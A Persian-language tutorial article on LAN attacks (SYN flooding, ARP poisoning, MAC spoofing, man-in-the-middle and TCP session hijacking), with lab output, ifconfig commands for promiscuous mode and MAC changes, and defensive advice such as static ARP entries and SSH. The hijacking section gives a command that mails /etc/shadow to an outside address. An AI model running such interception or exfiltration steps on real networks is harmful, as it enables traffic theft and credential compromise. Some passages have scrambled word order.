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 حل ها و راه مشکلات، تهدیدها و خطرها در شبکه
  

که ـــــــــــ ـاین مقاله به بررسی عوامل خطرزا و مشکل داری کـه ممکـن اسـت در شـبکه دخالـت کننـد و باعـث اخـتلال در شب                 
   .های رفع اشکال را نیز در برداردمی پردازد و ضمن توضیحات به مثال هایی پرداخته و نیز راه بشوند، 

  

  :مقدمه
 و غیره انجام می شود TCP/IP, UDP/IP, ARP, ICMPدر میان پروتکل هایی مثل اساسا ) LAN(باط در شبکه رتا

  . می باشدTCP/IPو محبوب ترین پروتکل از این بین 
  

TCP یا Transmission Control Protocol  
و ) Target(، مقـصد  )Source(مبـدا  : اطلاعات فرستاده شده در شبکه به فرم بسته هایی هـستند کـه شـامل اطلاعـاتی از قبیـل        

هنگامی که مسیریاب هـا آنهـا       اطمینان حاصل کردن از اینکه      پروتکلی رشد یافته برای      TCP .ی که باید فرستاده شوند، می باشند      اطلاعات
هـر  تکه تقسیم می کند،      یک بسته را به چندین       TCP .، می باشد  نروندبسته ها بر روی شبکه از بین        را کامپیوتر به کامپیوتر می فرستند،       

  : معمول چیزی شبیه به زیر استdatagramیک .  نامیده می شودDatagramقسمت یک 
 

ÆDestination MAC, Source MAC 
ÆDest IP, port and Source IP, port 
ÆSYN,ACK,PSH,RST 
Æ What to send!! 

 
در کـل دنیـا یکتـا و     MAC Address. نامیده می شـود  MAC Addressبه اصطلاح ) Network Card(آدرس کارت شبکه 

  .ه بر روی کارت شبکه درج شده استغیرقابل تغییر می باشد ک
 

Flagهای هدر ) header ( هایTCP:  
SYN Å در نخستین برپایی ارتباط استفاده می شود.  
ACK Å  برای تصدیق کردن اطلاعات دریافت شده و همچنین برای قابل اطمینان و موثر ساختنTCPاستفاده می شود .  
PSH Å  اطلاعات موجود در بسته باید به سمت یـک  هنگامیApplication    بـرود و بـه اصـطلاح Push Up  ،اسـتفاده   شـود

  .شودمی

RST Å      طرف دیگـر بایـد ارسـال اطلاعـات را       ). مثل یک پورت بسته   ( علامتگذاری می کند     مخفیانه و غلط  چیزی را به صورت
  .متوقف کند
  

  برقرار می باشد؟ TCPچطور ارتباطات و اتصالات 
 و سـه مرحلـه ای   TCP/IPبه این معنی است که فرستنده آن می خواهد یـک ارتبـاط    SYN  یا پرچمflagارسال یک بسته با 

برای راحت فهمیدن ایـن موضـوع بـه خطـوط زیـر نگـاه               . با سیستم مقصد برقرار کند     را   )که به آن دست تکانی سه مرحله ای می گویند         (
  : ارتباط برقرار کنیدB باشد و در این هنگام شمامی خواهید با B باشید و طرف دیگر Aاگر شما  .کنید

     ETHERNET HEADER 
          IP HEADER 
        TCP HEADER 
              DATA 



 ٢

  
A----------------------SYN----------------------ÆB 
B-------------------SYN/ACK------------------ÆA 
A---------------------ACK-----------------------ÆB 

  
 )!Way Handshaking – 3 Steps Handshaking 3(تباط بین دو سیستم برقرار می شود اراکنون پس از انجام مرحل فوق،      

  
  :SYN Floodingتوضیح درباره انجام عملیات 

که طـرز کـار ارتبـاط و    ( SYN که تعداد بسیار زیادی از بسته های  یک حمله به حساب می آیدSYN Floodingدر حقیقت عملیات 

در .  کامپیوتر قربانی هدایت مـی شـوند  به سمت ،Fake تقلبی و IPآدرس از طرف کامپیوتر نفوذگر با  )درباره آنها در خطوط بالا توضیح داده شد       ... 
 تقلبـی وجـود     IPکـه بـا آدرس       SYNا همه این بسته های       در سیستم قربانی صرف این می شود که ب         memoryاین حین تمامی حافظه و      

  .و این در حالی است که چنین آدرسی در شبکه وجود نداردارتباط برقرار کند دارند، 
  

  :تاثیرات
بـر روی پـورت    می توان به این اشاره کرد که تمامی سرویس های در حـال اجـرا   SYN Floodingبه عنوان نتایجی از حملات 

سیـستم قربـانی بـرای فرسـتادن بـسته هـای            . دچـار اخـتلال مـی شـوند       قولا   سیستم قربانی تحت تاثیر واقع شده اند و          های حمله شده از   
SYN/ACK      اگـر مقـدار فـوق العـاده        . قادر نیست که به یوزرهای مجاز و کلاینـت هـا سـرویس بدهـد              به همین دلیل     مشغول می شود و

 شدن سیستم نیز وجـود خواهـد   Reboot کردن یا   Hangانی فرستاده شوند، امکان     ت کامپیوتر قرب  ـــــ به سم  SYNزیادی از بسته های     
  ) !!!ارائه می شوند کم و بیش از این متد استفاده می کنند Disconnector یا DCierکه تحت عنوان هایی ز برنامه بعضی ا(داشت 

  
  :چگونه حمله انجام می شود
 هنگـامی کـه آنـرا از کـامپیوتر          169.254.0.18اینجـا موقعیـت     . باشـد آسیب پذیر می     SYN-Floodویندوز در مقابل حملات     

مـی  انجام دادم،  139 و 25روی پورت های  این کار را 169.254.1.21کردم، و با آدرس تقلبی flood ،169.254.0.20خودم با آدرس 
 IP بایـد اطمینـان حاصـل کنیـد کـه ایـن       و حتما)  می باشد169.254که در اینجا ( شما باشد Network IDآدرس تقلبی باید روی  .باشد

  )!!که در حالت عادی این طور می توان تشخیص داد( کنید ping در شبکه کافی است آنرا IPبرای چک کردن وجود داشتن چنین . وجود نداشته باشد
 
C:\netstat 
Active Connections 
 
  Proto  Local Address          Foreign Address        State 
  TCP    169.254.0.18:25      169.254.0.21:21       SYN_RECEIVED 
  TCP    169.254.0.18:139     169.254.0.21:139      SYN_RECEIVED 
  

   را تشخیص دهیم؟SYNچطور حملات 
منتظـر  و    جواب می دهـد    SYN/ACKکلاینت آنرا با فرستادن      را به سمت کلاینت می فرستد،        SYN بسته   هنگامی که نفوذگر  

وجود داشته باشد یـا  ) نیمه باز (Half-Openاین ارتباط طوری تنظیم می شود که به عنوان یک ارتباط    می ماند، آن وقت      ACKدریافت  
بفهمـد کـه آیـا      این وضعیتی است که یک نفر مـی توانـد           .  قرار گیرد  SYN_RECIEVEDاینکه به کلاینت گفته می شود که در حالت          

  !! هست یا خیرSYN-Floodسیستم او تحت حمله 
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 در ARPذخیـره  در حملـه قبـل،   .  می باشـد arp –a وجود دارد که آن استفاده از SYNروشی دیگر نیز برای تشخیص حملات 
  : به صورت زیر می باشد169.254.0.18

 
Interface: 169.254.0.18 on Interface 0x1000003 
  Internet Address      Physical Address      Type 
  169.254.0.21          00-00-00-00-00-00     invalid    
  169.254.74.30         00-0c-6e-f1-9e-a3     dynamic    
 

 نیـز ماننـد آنچـه کـه در     MAC باشـد و آدرس  invalidاگر نوع ارتباط به صورت  شده می بینید، Boldهمان طور که در مورد     
  . هستیدSYN-Floodن استنباط کرد که شما تحت حملهفوق نمایش داده شده باشد، می توا

  
  Spoofingمقوله 

Spoofing    جا زدن خودتان به عنوان شخص دیگر می باشد که بنابر انتخاب شما ممکن است در شـبکه وجـود داشـته                       تکنیکی برای
  : وجود دارد مانندSpoofingاز حملات انواع مختلفی . این روش یکی از ابتدایی ترین حملات در شبکه می باشد. باشد یا نداشته باشد

  
• IP Spoofing 
• ARP Spoofing 
• DNS Spoofing 
• Referer Header Spoofing 
 ...و  •

  
  : می پردازیمARP Spoofingکه در این فایل ما فقط به توضیح و بحث درباره 

  
ARP Spoofing  

  : دو آدرس مشخص داردLANهر کامپیوتر وصل شده به یک شبکه سوئیچ شده مانند 
• MAC Address 
• IP Address  
  

MAC Addressمـستقل  این خیلی مهم و ضروری می باشد کـه  .  همان طور که گفته شد آدرس کارت شبکه بوده و ثابت می باشد
 و TCP/IP, UDP, FTPمـی توانـد    (Ethernetپروتکل  در ابتدا و بالای آنها استفاده می کنند، applicationهرچه پروتکل های از 
را اطلاعـات    )Frame(ی  فـریم هـا   ،  Ethernet .  کنـد  frothپس بفرستد و فراخوانی کند یا بـه اصـطلاح           می تواند اطلاعات را      )باشد... 
 MACئیم کـه شـامل    گـو  مـی Ethernet Header دارا می شود که بـه آن  Ethernetاز ) header( یک هدر frameسازد و هر می

Addressکامپیوتر مبدا و مقصد می باشد  .IP Addressازی برای کامپیوترها در شبکه هست یک آدرس مج!!  
  

LANچطور کار می کند؟   
هـیچ   Ethernetدر زمـان سـاخت،   .  ساخته شده باشـد IPباید از یک بسته ساخته شد،    Ethernet از   frameهنگامی که یک    

تنها اطلاعاتی که در ایـن زمـان    .ندارد لازم است، Ethernet Header ماشین مقصد که برای ساختن یک MAC Addressآگاهی از 
باید راهی برای پروتکـل  . می باشد های بسته ها، Headerدر  ماشین مقصد MAC Addressغیرقابل دسترس میباشد، ) زمان ساخت(
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Ethernet وجود داشته باشد که MAC Address به وسیله  ماشین مقصد راIP Addressاینجا همان جـایی اسـت   !  آن شناسایی کند
   !☺  وارد بازی می شودAddress Resolution Protocol یا ARPکه 

2

                   A
           169.254.0.1

       C
169.254.0.3

         B
169.254.0.2

         D
169.254.0.4

1 3 4 5 6 7 8

                                  
1عکس   

  
 برابـر بـا   IP Addressبـا   (Cمـی خواهـد بـه ماشـین     ) 169.254.0.1 برابر بـا  IP addressبا  (Aماشین بیائید فرض کنیم که 

حـال بـه بررسـی کـارکرد ایـن      . تولید خواهد کـرد  ARP Request یک بسته ای تحت نام Aدر این هنگام . متصل شود) 169.254.0.3
این بسته در کـل شـبکه    . تولید شده و به همه کاربران در شبکه انتشار پیدا می کندA از ماشین ARP Requestبسته  .بسته می پردازیم

  :از ماشین ها این سوال را دارد که
  
  .)) خود را برای من بفرستMAC Address می باشد؟ اگر اینطور است، 169.254.0.3 شما IP Addressآیا ((  
  

کـه بـه آن    (Ethernetنـرم افـزار    فرسـتاده شـد، هـر    Broadcast frameدر یک فریم انتشاری یا  ARP Requestزمانی که 
Ethernet Interfaceدر شبکه آن را به داخل می خواند و )  می گوئیمARP Request به نرم افـزار   راnetworking   در حـال اجـرا در 

بـه ایـن صـورت کـه        .  پاسخ خواهـد داد    169.254.0.3 برابر با    IP با آدرس    Cتنها سیستم   .  می کند  handفرستد یا به اصطلاح     سیستم می 
 Aاکنـون سیـستم    .می فرسـتد ) Aسیستم (می باشد را به سیستم درخواست داده ) Cسیستم ( خود MAC Addressبسته ای که حاوی 

 بـود بـه   Halfکجا می تواند اطلاعات را بفرستد و در این هنگام ارتباط ما که بـه صـورت    دارد، به این منظور که به MAC Addressیک 
high-levelنیز تغییر داده شود .  

 ARP Replyیا  ARP از جواب های cacheسیستم عامل ها یک ذخیره یا  ها، ARP requestبرای به حداقل رساندن انتشار 
 ARP Cache خـود یـا   ARP، در همـین حـین ذخیـره     را دریافت می کندARP Replyیک هنگامی که یک کامپیوتر .  نگه می دارندها

 کـامپیوتر مقابـل را بدانیـد، کـافی اسـت تنهـا       MAC Addressاگر می خواهید  .به روز می رساند IP/MACبا ارتباط جدیدی از خود را 
  : تایپ کنیدCommand promptعبارت زیر را در 

 
C:/>nbtstat  -A   169.254.24.60  OR  nbtstat  –a  chetan 
 
Local Area Connection: 
Node IPAddress: [169.254.0.20] Scope Id: [] 
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  NetBIOS Remote Machine Name Table 
      Name               Type         Status 
 
      --------------------------------------------- 
    CHETAN         <00>  UNIQUE      Registered  
    CHETAN         <20>  UNIQUE      Registered  
    MSHOME         <00>  GROUP       Registered  
    MSHOME         <1E>  GROUP       Registered  
    CHETAN         <01>  UNIQUE      Registered  
    CHETAN         <03>  UNIQUE      Registered  
    C_VERMA        <03>  UNIQUE      Registered  
     
   MAC Address = 00-0C-6E-94-0A-BF 
 

   کار می کند؟Switchچطور یک سوئیچ یا 
 MACهیچ گونـه اطلاعـی دربـاره    فریم  .استخراج می کند ،بستهموجود در  IP Header از ، مقصدIP اطلاعاتی درباره ،فریم

Address باید یک لایه اتصال فیزیکی بین دو سیستم وجود داشته باشد کـه بـه آن    مقصد ندارد چرا کهPhysical Link Layer  مـی 
.  مـی شـود    Match متنـاظر    MACآدرس هـای    شماره هـای پـورت سـوئیچ بـرای          با  یک جدول را مراقبت می کند که         Switch .گوئیم

به فعالیـت واداشـته مـی     های مقصد، MAC Addressانتقالات از اولین فریم درمابین پورت های سوئیچ و به وسیله سوئیچ هنگامی که 
  .شود، این جدول ساخته می شود

Port MAC 
1  
2  
3  

 
 مـی خواهـد بـه    Hفرض کنید کـه  . صورت نگرفته باشدیا انتقال اطلاعاتی  ARP request/repluاین حالتی است که هیچ گونه 

T1 یک ). 3با توجه به عکس ( وصل شود و با آن ارتباط برقرار کندARP Request در روی LAN     انتشار می یابـد و بـه همـه کـاربران 
هنگـامی کـه    .)) خود را برای مـن بفرسـت  MAC Address می باشد، X1 تو IPاگر آدرس (( : د با این عنوان کهحاضر در شبکه می رس

 Switch Cache یا Switch در ذخیره H ماشین MAC Address مربوط به entryاین درخواست از میان سوئیچ گذشت، محل ثبت یا 
  : اکنون جدول چیزی شبیه به زیر خواهد بود.ساخته می شود

Port MAC 
1  
2  
3 M3 

 
 MAC Address خواهد رفـت و حـاوی   H جواب خواهد داد که به سمت ARP Replyاین عمل را با یک  T1بدیهی است که 

.  خواهد ساختH از ماشین MAC Address و IP Addressیک مقدار از ، T1 مربوط به ماشین ARP Cacheعلاوه بر این، . می باشد
گـذر  ) کابـل ( 1 و پـورت  Switchزمانی که این پاسخ از ما بین .  به صورت مستقیم خواهد فرستادH را به سمت ARP Replyبنابراین، 

  . نیز به روز رسانیده خواهد شدSwitchذخیره خواهد کرد، 
Port MAC 
1 M1 
2  
3 M3 
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م به آن انتخاب مـی کنـد و سـپس    ارسال فری پورتی را برای  switchدر این هنگام می رسد، switchبه  ARP Replyهنگامی 
ایـن  اکنون . مقایسه می کند می نگارد، MAC Addressفریم به یک کابل اینترنت که شماره های پورت ها را برای آنرا با آدرس مقصد 

یـک   ARP هنگامی کـه  : اما موضوع اینجاست که مشکلاتی در این زمینه پیدا می شود           .به کابل فرستاده خواهد شد     3از میان پورت    فریم  
صـرف  . یک جواب برسد، بـه روز مـی رسـانند          را اگر    Cacheامل ها، ذخیره و     بیشتر سیستم ع   و بدون تابع می باشد،       statelessپروتکل  

  ! !!ARP Poisoning:  را می توانیم اکسپلویت کنیمbugاین مشکل و  !! ☺آیا آنها یک درخواست واقعی فرستاده باشند یا نظر از اینکه 
  

  ARP Poisoningعملیات 
البته در لینوکس هـم  ( استفاده کنید command prompt در arp –a خود در ویندوز می توانید از دستور Cacheبرای نمایش 
  ):همین دستور می باشد

C:/>arp  –a 
 
Interface: 169.254.0.1 on Interface 0x1000003 
  Internet Address      Physical Address      Type 
  169.254.0.3          00-50-ba-8e-ff-e8     dynamic    
  169.254.32.218       00-0b-2b-0d-fb-69     dynamic    
  169.254.105.118      00-50-fc-b0-f3-50     dynamic 
 

• 169.254.0.1 :IPشما می باشد . 
• 0x1000003 : کد برایinterface که در این مورد ( شماeth0می باشد .( 

 . ماشین مقصد که شما به آن وصل شده ایدIPآدرس : 169.254.0.3 •
• 00-50-ba-8e-ff-e8 : آدرسMACمربوط به آن ماشین . 
• Dynamic : نوع رابط وlink 

  
  : را مشاهده کنیم169.254.0.3ارتباط بین کامپیوتر من با بیائید 

این مقـادیر   .  مرا دارد  IP خود،   ARPاون نیز در جدول      را پیدا کردم و مسلما       IP مربوط به کامپیوتر خودم این       ARPمن در جدول    
 طراحـی شـده باشـد و        169.254.0.3اگر یک نفوذگر برای من بسته ای بفرستد که به صورت            .  ثانیه یکبار به روز می شوند      30هر  

 ثانیـه گفـت و گـو    30برای مدت  169.254.0.3اول یعنی نخواهم بود که به آن کامپیوتر    من قادر    باشد، در این هنگام      MACبدون  
اکنون .  نامیده می شودARP Poisoningاین متد و روش . همین مورد برای یک نفوذگر برای ربود نشست از من کافی است!! کنم

  : من به صورت زیر خواهد بودARP Cacheذخیره و 
C:/>arp –a 
 
Interface: 169.254.0.1 on Interface 0x1000003 
  Internet Address      Physical Address      Type 
  169.254.0.3          00-50-ba-4e-ff-e3     invalid 
  169.254.32.218       00-0b-2b-0d-fb-69     dynamic    
  169.254.105.118      00-50-fc-b0-f3-50     dynamic 
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  حملات
  
  MAC Spoofingحملات ) 1

 واقعـی سیـستم خـود یـا بـدون وارد      MAC Addressیگر بدون فرسـتادن   یک سیستم دMAC Addressبه دست آوردن 
  . شناخته می شودMAC Spoofing واقعی خود در یک سیستم دیگر، به عنوان متد و روش MAC Addressکردن 

 
 

A, X1, M1 H, X2, M2, Mf

ARP  request: X2, Mf

 
2شکل   

 
  . واقعی خود به دست آوردMAC Address را بدون فاش کردن A کامپیوتر MAC می خواهد آدرس Hکامپیوتر : هدف

  
H یک ARP Request سیـستم  برای اینکـه بـه    انتشار می دهد  معینشبکهیک  را در سراسرA   بـا یـک MAC Address 
ایجـاد   Mfبـا مقـدار     ) 2مثلا   (Hمکاتبه کننده با پورت سیستم       switchمقداری در ذخیره ی     یک  اکنون  . ت پیدا کند  دس Mfتقلبی مانند   
هنگـامی کـه   .  می فرستدH واقعی خود می باشد به سمت سیستم MAC Adress را که حاوی ARP Replyیک  A اکنون. خواهد شد
 تحویـل داده مـی   Hآن بـه   می شـود و بنـابراین   H) i.e 2 ( ،mapped تقلبی به پورت MAC Adress می رسد، switchبه این فریم 

جـائی   قـرار دارد،  promiscuous mode یـا  Promiscuousحالت در  H مربوط به سیستم Ethernet Cardزمانی که اکنون . شود
 MACیک مقـداری از  گر معین شده اند، باز بینی شوند، سیستم های دی MAC Addressفریم هایی که برای اجازه داده شده که که 

Address سیستم A در ARP Cache مربوط به سیستم Hدر لینوکس، . خواهد بود promiscuous modeند فعال شود می توا:  
 
# ifconfig eth0 promisc 

  
  :همچنین برای غیر فعال کردن آن از دستور زیر استفاده می کنیم

# ifconfig eth0 -promisc 
 

  MAN-IN-THE-MIDDLEحملات ) 2
 Achilles هنگـامی کـه از   CSSیا مـثلا در حمـلات   . دارد man-in-the-middle خاصیتی به نام NetCatحتما شنیده اید که   

وع مورد مفهوم و کار این نبرخی از دوستان در .  پیدا می کند MAN-IN-THE-MIDDLEاستفاده میکنیم، این نرم افزار نیز خاصیت        
البتـه در ایـن فایـل فقـط بـه آنـالیز       .  و توضیح در این مورد می پردازیمبه بررسی سوال کرده بودن که اکنون     ...قابلیت ها در نرم افزار و       

  :) روشن خواهد شدman-in-the-middleولی به هر حال معنی (  می پردازیمARP در حملات man-in-the-middleخاصیت 
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ARP reply:X2,M3 ARP reply:X1,M3

H, X3, M3

T1, X1, M1 T2, X2,M2

1 2 3

 
3شکل   

 
 . قـرار دهـد    T2 و   T1سیـستم هـای     تلاش خواهد کرد کـه خـودش را بـین مـسیر ارتبـاطی                Hکاربر مربوط به سیستم     در اینجا   

 . متنـاوب و فاصـله دار نخواهـد بـود          بنابراین آن ارتباط دیگر به صـورت      . های مورد نظر می فرستد    فریم هایی را بین کامپیوتر     Hسیستم  
مراحل ایـن کـار   تجزیه و تحلیل که در زیر به آنالیز و .  خواهد کردPoison را T2 و T1 مربوط به سیستم H ،ARP Cacheستم ــــسی

  :می پردازیم
  
• H  یکARP Rely ،Spoof شده را به سیستم T1  خواهد فرستاد که حاویIP  سیـستم T2 و MAC Address   مربـوط بـه 

 . می باشدHسیستم 

 مربوط به سیـستم  IP Address خواهد فرستاد که حاوی T2 شده به ARP Reply ،Spoofاو یک در همان زمان، همچنین  •
T1 و MAC Address مربوط به سیستم Hمی باشد . 

سـمت کـامپیوتر   ، ابتدا به انتقال پیدا کنندجای اینکه مستقیما به یکدیگر     به   T2و   T1 بین دو کامپیوتر     IPاکنون همه ترافیک     •
Hو این حالت به اصطلاح  .د رفتن خواهman-in-the-middleنامیده می شود !  

 
  چگونه این حمله انجام داده می شود؟

 IP Address & Mac Address، حـاوی  T1 مربـوط بـه   ARP Cache با یکدیگر در حال ارتباط هستند، T2 و T1زمانی که 
 و T1 های مربوط به سیستم های H ،cacheسیستم .  نیز به همین منوال انجام می شود T2 می باشد و برای سیستم       T2مربوط به سیستم    

T2 را Poisonبه این ترتیب که. می کند :  
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 باشد، می  میH سیستم MAC Address و T2 سیستم IP Address شده که حاوی ARP reply ،spoof یک T1 به سیستم 
 MAC را خواهد فرستاد و T1 سیستم IP Address نیز همان کار را انجام می دهد با این تفاوت که T2فرستد و همچنین برای سیستم 

Address در هر دو حالت برای کامپیوتر Hقرار داده شده است .  
بـه هـم پیونـد داده     H سیستم MAC Address با T2 سیستم T1 ،IP Address مربوط به سیستم Cacheاکنون در ذخیره و 

 مقصد  Frame  ،IPآنگاه  .  هایی قطعه قطعه خواهد شد     Frame می خواهد یک بسته را بفرستد، ابتدا آن بسته به            T1هنگامی که    .شده اند 
طور کـه گفتـیم بـرای    همان ( را MAC Addressه شود، می گیرد و برداشت می کند و سپس  بسته ای که باید فرستادIP Headerرا از 

 MAC و T2 مربـوط بـه سیـستم    IP Addressحـاوی   Frameاین اکنون، .  برداشت می کندCacheاز ) افزایش سرعت و اختلال کمتر

Address مربوط به سیستم H به وسیله کابل به با این خصوصیات  بوده وSwitch اکنـون   . فرستاده می شـودMAC Address  موجـود 
بـه ایـن     و   Switchبه این معنی که ذخیره مربـوط بـه          ). MAPPED(د   واگذار خواهد ش    در جدول،  Switchورت  به شماره پ   Frameدر  

 نیـز   T2این مورد و جریـان در مـورد سیـستم            . فرستاده خواهد شد   H به سمت    frameبنابراین  .  خواهد بود  3عنوان شماره پورت، برابر     
 بـدون  T2 و T1 ارتبـاط بـین   ، به این ترتیـب     خواهد فرستاد  T1 را به    T2 و از    T2ا به    ر T1لاعات آمده از    اط H اکنون   .اتفاق خواهد افتاد  

traceبه صورت متناوب نخواهد بود ،.  

  
  :راه حل

 سیـستم دو داشـته باشـد و    IP & MAC Address از Static Entryیک مقدار ساکن یا  باید T1برای اجتناب از این حملات، 
 های Cacheذخایر و  و ساکن در Static را با مقداری T1 مربوط به سیستم IP & MAC Address  نیز به همین منوال بایدT2سیستم 

  : به روش زیر خواهد ساختT2از سیستم ) Static Entry(یک مقدار ثابت  T1سیستم  .مربوط به خود داشته باشند
C:/>arp –s X2 M2 

  :آزمون عملی
  :جام دادم با موفقیت کامل انLANمن این حمله را در شبکه 

 
System Name IP Address Operation System MAC Address 

H Hacker 169.254.0.1 Fedora 
Core(2.4.221.2115.nptl) 00:0c:f1:6b:78:4f 

T1 Target 1 169.254.0.2 Windows 2000(Version 
5.00.2195) 00:02:44:57: 7c:45 

T2 Target 2 169.254.0.3 Windows XP(Version 
5.1.2600) 00:50:ba:8f:00:0a 

  
 T2 و T1 مربوط به سیـستم هـای   ARP Cacheاکنون .  می فرستدT2 و T1 شده برای ARP Reply ،Spoofیک  Hسیستم 

  : شدند را ببینیدSpoofرا هنگامی که 
 
T1: 
Interface: 169.254.0.2 --- 0x2 
  Internet Address      Physical Address      Type 
  169.254.0.3           00-0c-f1-6b-78-4f     dynamic    

 
 مربـوط بـه   MAC Addressبـا   T2 مربوط به سیـستم  IP Address می بینید، T1 مربوط به سیستم Cacheهمان طور که در  •

 )!!! هستندRecordدر یک ( برابری می کند Hسیستم 
 
T2: 
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Interface: 169.254.0.3 on Interface 0x2 
  Internet Address      Physical Address      Type 
  169.254.0.2           00-0c-f1-6b-78-4f     dynamic    
  

  :بسته های دریافت شده به صورت زیر هستند، )سیستم خودمون(در سیستم نفوذگر 
23:42:02.474661 arp reply 169.254.0.3 is-at 0:c:f1:6b:78:4f 
23:42:04.084663 arp reply 169.254.0.2 is-at 0:c:f1:6b:78:4f 
23:42:04.484652 arp reply 169.254.0.3 is-at 0:c:f1:6b:78:4f 
23:42:06.094662 arp reply 169.254.0.2 is-at 0:c:f1:6b:78:4f 
23:42:06.494660 arp reply 169.254.0.3 is-at 0:c:f1:6b:78:4f 
23:42:08.104664 arp reply 169.254.0.2 is-at 0:c:f1:6b:78:4f 
23:42:08.504663 arp reply 169.254.0.3 is-at 0:c:f1:6b:78:4f 
23:42:10.114661 arp reply 169.254.0.2 is-at 0:c:f1:6b:78:4f 
 

همان طـور کـه در پـائین نـشان داده            بوده،   25 با پورت    169.254.0.3در تلاش برای وصل شدن به        169.254.0.2هنگامی که    •
 اکنـون  169.254.0.1به شما ثابت خواهد شد کـه   بنابراین . عبور خواهند کرد169.254.0.1از میان ، بستهنگام در این ه شده،  

 : برای همه روشن شدMAN-IN-THE-MIDDLE می باشد و معنی و مفهوم T2 و T1در مابین کامپیوترهای 
 
23:42:46.294660 arp reply 169.254.0.2 is-at 0:c:f1:6b:78:4f 
23:42:46.694653 arp reply 169.254.0.3 is-at 0:c:f1:6b:78:4f 
23:42:46.705306 169.254.0.2.1163>169.254.0.3.smtp: S 398263844:398263844(0) win 64240 
<mss 1460,nop,nop,sackOK> (DF) 

 
آن ...  و از موقعیـت و        عیب زدایی کند   ping را با دستور     169.254.0.2 می خواهد سیستم     169.254.0.3هنگامی که   همچنین   •

  :داده شده است، عبور خواهد کردنشان  همان طور که در زیر  169.254.0.1از میان سیستم مجددا datagramباخبر شود، 
 
23:43:27.254104 169.254.0.3 > 169.254.0.2: icmp: echo request [ttl 1] 
23:43:28.504663 arp reply 169.254.0.2 is-at 0:c:f1:6b:78:4f 
23:43:28.904661 arp reply 169.254.0.3 is-at 0:c:f1:6b:78:4f 
23:43:30.266360 169.254.0.3 > 169.254.0.2: icmp: echo request [ttl 1] 
23:43:30.514657 arp reply 169.254.0.2 is-at 0:c:f1:6b:78:4f 
23:43:30.914662 arp reply 169.254.0.3 is-at 0:c:f1:6b:78:4f 
23:43:32.524663 arp reply 169.254.0.2 is-at 0:c:f1:6b:78:4f 
23:43:32.924654 arp reply 169.254.0.3 is-at 0:c:f1:6b:78:4f 
23:43:33.270757 169.254.0.3 > 169.254.0.2: icmp: echo request [ttl 1] 
23:43:34.534662 arp reply 169.254.0.2 is-at 0:c:f1:6b:78:4f 
23:43:34.935399 arp reply 169.254.0.3 is-at 0:c:f1:6b:78:4f 
 

  
  MAC Addressتغییر 

امـا کـاربران لینـوکس مـی تواننـد      .  ثابت بـوده و تغییـر نمـی کنـد    MAC Addressن طور که در مطالب فوق ذکر کردم، هما
MAC Address خود را بدون استفاده از نرم افزارهای Spoofing استفاده از پـارامتر  تنها با. تغییر دهند...  و ipconfig   کـه در زیـر 

  : کنیدexploitبرای شما آورده ام، می توانید این مشکل را 
# ifconfig eth0 hw ether 00:0c:ff:4f:e8 
 

 را انجـام مـی   Spoofing می توانید این کار را با استفاده از نرم افزارهـایی کـه   Windows 2000/XPهمچنین در ویندوزهای 
مشکل را همان طور که در زیـر توضـیح      این   )!!که البته نرم افزار برای این کار زیاد هست        ( پیشنهاد می کنم     SMAC افزار   دهند، من نرم  

  : کنیدexploitداده شده، می توانید 
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H  یک حملهDoS بر روی T2 و سپس ، ) مراجعه کنید3به شکل ( به راه می اندازدIP & MAC Address خود را در سیستم 
T2  و اصطلاحا   (اده   قرار دASSIGN  و از این به بعد به عنوان نامزد و نفر دومی بـرای سیـستم         ،  ) می کندT2     انتخـاب مـی شـود و خـوب 

اما نکته اینجاست باز هم اگـر       ). بدون اینکه خودش بفهمد   ( ارتباط برقرار می کند      H با   T1 قرار دارد بنابراین     DoS تحت حمله    T2چون  
T2س در سیستم بپردازد و  به سرویس دهی و اجرای سرویDoS کارگر نباشد، باز هم بسته ها به سمت Hخواهند رفت  .  

  
 :TCP/IP Hijacking یا به اصطلاح TCP/IPانجام عملیات ربود 

A, Client B, Server

H, Hacker

1. Telnet/Ftp session

2. Dos/ARP poisoning 3. Issue commands as A

 
  4عکس 

.  اسـت وصـل شـده   TELNET ،FTPسـرویس   به وسـیله  root به عنوان یک مدیر B به سرور Aبیائید فرض کنیم که سیستم    
 ARP Poisoning یک حمله Hخوب مسلما .  را انجام  دهدsniff قادر هست که عملیات  و در شکل مشخص استHهکر که با سیستم 

دسـتورات را بـه     اکنون قادر خواهد بـود کـه         . خواهد کرد  reset هست،   Aبه آنچه که     انجام خواهد داد و سپس تنظیمات او را          Aبر روی   
اکنون هکـر   !!!! همین یک مورد کافی است  "mail the_cephexin@yahoo.com</etc/shadow": هد مثلا انجام دAجای کامپیوتر 

 کـه در   قادر نخواهد بودA کند و به این ترتیب کامپیوترARP Poisoning ،DoS یا SYN Flood را به نوعی حالا چه با Aباید سیستم 
  . دخالت کندARP Requestاین حمله و انجام عملیات، به دلیل توده عظیمی از 

  
  :راه حل

 را به منظور جلـوگیری از  SFTPیا ) SSH) Secured Shellلاگین های  می تواند A، سیستم Telnetبه جای ایجاد یک لاگین 
TCP/IP Hijackingداشته باشد و به کار گیرد .  

  
 
Written by: Cephexin 


